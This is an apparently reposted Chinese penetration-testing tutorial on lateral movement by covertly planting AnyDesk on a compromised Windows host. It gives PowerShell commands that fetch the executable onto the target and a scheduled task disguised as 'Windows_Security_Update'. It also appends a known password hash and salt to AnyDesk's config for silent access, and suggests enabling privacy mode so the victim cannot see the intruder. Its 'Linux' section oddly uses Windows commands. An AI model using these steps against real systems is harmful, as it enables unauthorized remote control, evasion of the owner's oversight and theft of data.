内网渗透之横向移动:使用AnyDesk进行远程控制
2021-11-12 11:36:46 Author: www.freebuf.com(查看原文) 阅读量:28 收藏

anydesk是类似teamviewer的远程管理软件,但是他不用安装且体积小

使用场景

  • 有云锁,护卫神等禁止3389登录时
  • 类似阿里云这种,登录3389会报警
  • 目标机器必须可以出网

注意事项

  • 启动anydesk的权限需要桌面用户权限,比如,IIS做中间件的环境中,拿到了webshell一般都是没有桌面用户权限的,如果启动anydesk不会成功
  • 启动anydesk时桌面不能被注销
  • 有可能连接上去是黑屏,这个是因为该桌面用户退出远程桌面但没有注销,此时,除非能用winlogon启动anydesk,否则没法使用屏幕

攻击

Windows

假使我们在windows上拿到目标的shell,为了方便模拟就上线了一个cs的shell

1636684127_618dd15fc06b35ff0fb98.png!small?1636684128411

然后我们可以通过命令让目标下载anydesk

powershell (New-Object System.Net.WebClient).DownloadFile(“https://download.anydesk.com/AnyDesk.exe","C:\anydesk.exe")

其实最好不要保存在c盘下,因为域用户没有足够的权限,所以最好是找到域用户有写权限的文件夹

可以看到我们已经将文件下载了下来(由于是模拟环境就随便点,真实环境下别下载到桌面)

1636684147_618dd17352d2e8daf6ce8.png!small?1636684148384

但是不着急执行,原因是我们不知道目标的凭证,自然无法连接

打开自己本机的anydesk,会弹出一个窗口

1636684155_618dd17b26dd847dbca2d.png!small

可以发现,anydesk连接的方式并非是局域网,而是通过互联网,一断网就无法使用

1636684170_618dd18aa0e414a0f30f7.png!small?1636684171318

所以我们必须知道目标的ID号才可以连接,所以我们可以在本地生成anydesk的用户配置文件,然后再上传到目标主机,这样不仅知道了目标anydesk的id号,而且使用的还是本地设置的密码

首先我们要记住自己的ID号

1636684178_618dd192244c288be18cc.png!small?1636684178801

  • 819784857

然后设置访问密码

1636684185_618dd1994b39173b582db.png!small?1636684185968

随便设置,自己知道就行了

1636684193_618dd1a18c3e7e53607ed.png!small?1636684194466

应用后彻底退出anydesk,退出时不选择安装

生成的配置文件将会储存在

C:\Users\你的用户名\AppData\Roaming\AnyDesk

1636684234_618dd1cae18a794eec2f1.png!small?1636684235628

然后将四个文件保存下来,然后上传到目标的主机,上传完后把此处的配置文件全部删除,目的是让anydesk生成一个新的配置

由于我们还没有在目标主机打开过anydesk,所以要自己新建一个AnyDesk文件夹,然后将文件复制进去

1636684245_618dd1d5b5ba95b7788c2.png!small?1636684246470

拓展:

这几步不是必须,按需操作

连接前可以设置连接的用户名,如果不设置,就会用当前的用户名

1636684254_618dd1de570134008f4e8.png!small?1636684255074

有可能会暴露身份

1636684260_618dd1e4805d40720b1b3.png!small?1636684261429

然后通过cs远程执行anydesk,然后在攻击机远程连接

1636684272_618dd1f08d2392dff4eda.png!small?1636684273306

输入刚才设置的密码

1636684279_618dd1f79a2a05cf76c04.png!small?1636684280266

成功连接

1636684286_618dd1fe6b53b0eb301d8.png!small?1636684287434

如果有管理员权限,可以开启“禁止用户输入”、“启用隐私模式”,否则对方就可以看得到攻击方的鼠标

Linux

假使我们只能通过linux拿到目标的shell,就无法像之前那样通过生成配置文件然后拷贝过去,所以我们就只能对配置文件进行修改

为了方便模拟我上线了一个msf的shell

首先我们要让目标下载anydesk,方法和之前一样

powershell (New-Object System.Net.WebClient).DownloadFile(“https://download.anydesk.com/AnyDesk.exe","C:\anydesk.exe")

下载完后我们要让其启动,可以直接执行,如果无法直接执行,可以使用计划任务执行,如果要使用计划任务,首先要知道当前用户是谁

powershell "(((Get-WmiObject -Class Win32_Process -Filter 'Name=\"explorer.exe\"').GetOwner().user) -split '\n')[0]

1636684313_618dd21918f81dafcf8d9.png!small?1636684313852

确认好用户后就可以创建计划任务

schtasks /Create /TN Windows_Security_Update /SC monthly /tr "C:\Users\testuser.G1TS\Desktop\anydesk.exe" /RU Administrator

然后执行计划任务

schtasks /run /tn Windows_Security_Update

等过了几秒后,anydesk连接上服务器后再把进程杀死

tasklist
taskkill /f /pid 2692

1636684357_618dd2455ae6f1e6303c7.png!small?1636684358104

然后再添加密码到配置文件中(密码为AnyDeskGetAccess)

echo ad.anynet.pwd_hash=85352d14ed8d515103f6af88dd68db7573a37ae0f9c9d2952c3a63a8220a501c >> C:\Users\用户目录\AppData\Roaming\AnyDesk\service.conf
echo ad.anynet.pwd_salt=cb65156829a1d5a7281bfe8f6c98734a >> C:\Users\用户目录\AppData\Roaming\AnyDesk\service.conf

查看目标的ID

type C:\Users\用户名\AppData\Roaming\AnyDesk\system.conf

1636684374_618dd2569376214f92b7a.png!small?1636684375505

然后让目标机器运行anydesk,在连接即可


文章来源: https://www.freebuf.com/articles/web/304534.html
如有侵权请联系:admin#unsafe.sh